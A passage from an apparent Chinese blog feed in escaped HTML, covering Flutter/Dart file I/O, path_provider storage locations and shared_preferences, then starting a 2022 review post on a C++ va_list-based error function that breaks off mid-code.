class=\"p\"\u003e});\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 按照一行一行字符读取文件的方式,异步和同步\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsLines\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsLinesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 二进制读取方法\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// Dart 中表示二进制有一个专门的类型,叫做 Uint8List\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eUint8List\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsBytes\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"n\"\u003eUint8List\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsBytesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 二进制写入方法\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsBytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsBytesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 字符串写入方法\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003econtents\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsStringSync\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003econtents\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"path_provider\"\u003epath_provider\u003c/h4\u003e\n\u003cp\u003e作为一个跨平台的开发框架,Flutter 要能适应很多方面,其中最主要的就是存储位置。我们要存储一个文件的时候,需要在不同设备上,找到对应的位置。而在很多设备上,相同类型文件的存储地方是不一致的。\u003ccode\u003epath_provider\u003c/code\u003e能够让我们找到相应的位置。具体使用方式请参阅它的文档。\u003c/p\u003e\n\u003cp\u003e以下这个表格能体现出存储地方不同的问题:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDirectory\u003c/th\u003e\n\u003cth\u003eAndroid\u003c/th\u003e\n\u003cth\u003eiOS\u003c/th\u003e\n\u003cth\u003eLinux\u003c/th\u003e\n\u003cth\u003emacOS\u003c/th\u003e\n\u003cth\u003eWindows\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eTemporary\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Support\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Library\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Documents\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Storage\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Cache Directories\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Storage Directories\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDownloads\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e以下是我程序的一份示例:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// Loading cookiejar.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// 先获取到 ApplicationSupport 的位置在哪\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eDirectory\u003c/span\u003e \u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003egetApplicationSupportDirectory\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// 注意 supportPath.path,这里我读取了路径结果\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eSportCookieJar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ePersistCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eignoreExpires:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003estorage:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileStorage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e/sport\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"n\"\u003eIDSCookieJar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ePersistCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eignoreExpires:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003estorage:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileStorage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e/ids\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"shared_preferences\"\u003eshared_preferences\u003c/h4\u003e\n\u003cp\u003e我们程序更多的是要在本地存储一些简单的设置信息,具体来说,是很简单的 key-value 东西了。比如说,你的学号和密码是什么,你的宿舍号之类。我们使用 shared_preferences 来解决这个问题。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// 初始化一个示例\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"n\"\u003eSharedPreferences\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eSharedPreferences\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egetInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 设置一份 key-value\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// String 可以改成 Int, Bool, Double 等\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esetString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 读取一份 key 对应的数据\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// String 可以改成 Int, Bool, Double 等\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ev\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 清除所有设置\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclear\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"推荐阅读\"\u003e推荐阅读\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://dart.dev/language\" target=\"_blank\" rel=\"noopener\"\u003eDart 语言官方简介\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://flutter.cn/docs/get-started/codelab\" target=\"_blank\" rel=\"noopener\"\u003eFlutter 上手教程\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://flutter.cn/docs/development/ui/layout/tutorial\" target=\"_blank\" rel=\"noopener\"\u003e布局构建教程\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://github.com/BenderBlog/watermeter\" target=\"_blank\" rel=\"noopener\"\u003eTraintime PDA (Watermeter) 代码\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"封面\"\u003e封面\u003c/h2\u003e\n\u003cp\u003eMaggie 去日托所的一天。\u003c/p\u003e\n\u003cp\u003e主要看中了蝴蝶,因为蝴蝶和 Dart 的吉祥物蜂鸟类似。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/flutter-introduction.html"},{"title":"我在 2022 年学到了什么","time":"2022-12-31T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/Random/Cirno-Easter%20Egg.png\" alt=\"Featured image of post 我在 2022 年学到了什么\"/\u003e\u003cp\u003e把去年学到的东西,没说过的拼接一下,回见了您。\n(之前名称叫 Hadoop 额外技能,不能就这样就和老博客同步,索性把大作业里面我顺手提到的东西都罗列一通)\u003c/p\u003e\n\u003ch2 id=\"c-大作业技术罗列\"\u003eC++ 大作业技术罗列\u003c/h2\u003e\n\u003cp\u003eC++ 大作业学到的偏门东西。\u003c/p\u003e\n\u003ch3 id=\"va_list-对象\"\u003eva_list 对象\u003c/h3\u003e\n\u003cp\u003e不用 \u003ccode\u003eprintf()\u003c/code\u003e 函数,运用 \u003ccode\u003ecstdarg\u003c/code\u003e 库实现类似该函数的 \u003ccode\u003eerror()\u003c/code\u003e。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e函数原型\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e...)\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003e算法\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003e生成 \u003ccode\u003eva_list\u003c/code\u003e 对象,然后初始化。\u003c/li\u003e\n\u003cli\u003e通过对母字符串的逐个字符读取,判断以下情况:\n\u003cul\u003e\n\u003cli\u003e如果不是 \u003ccode\u003e%\u003c/code\u003e 直接输出。\u003c/li\u003e\n\u003cli\u003e如果是 \u003ccode\u003e%\u003c/code\u003e, 后面跟着是:\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align:center\"\u003e输入\u003c/th\u003e\n\u003cth style=\"text-align:center\"\u003e输出\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003es\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e字符串\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003ec\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e字符\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003ed\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e整型数\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003e%\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e\u003ccode\u003e%\u003c/code\u003e符号\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e注意判断字符还是整数的时候,先按照整型数读入,然后按情况强制类型转换看看。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ecstdarg\u003c/code\u003e 函数库怎么搞不定长形参的?\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003e形参的最后一定要是省略号。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_list\u003c/code\u003e 规定一个不定长形参变量。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_start\u003c/code\u003e 让其找到开始位置,之后 \u003ccode\u003eva_arg\u003c/code\u003e 向后读取一个参数。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_end\u003c/code\u003e 终止 \u003ccode\u003eva_list\u003c/code\u003e 存在。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C++\" data-lang=\"C++\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstdarg\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"k\"\u003enamespace\u003c/span\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e...)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eva_list\u003c/span\u003e \u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003eva_start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan 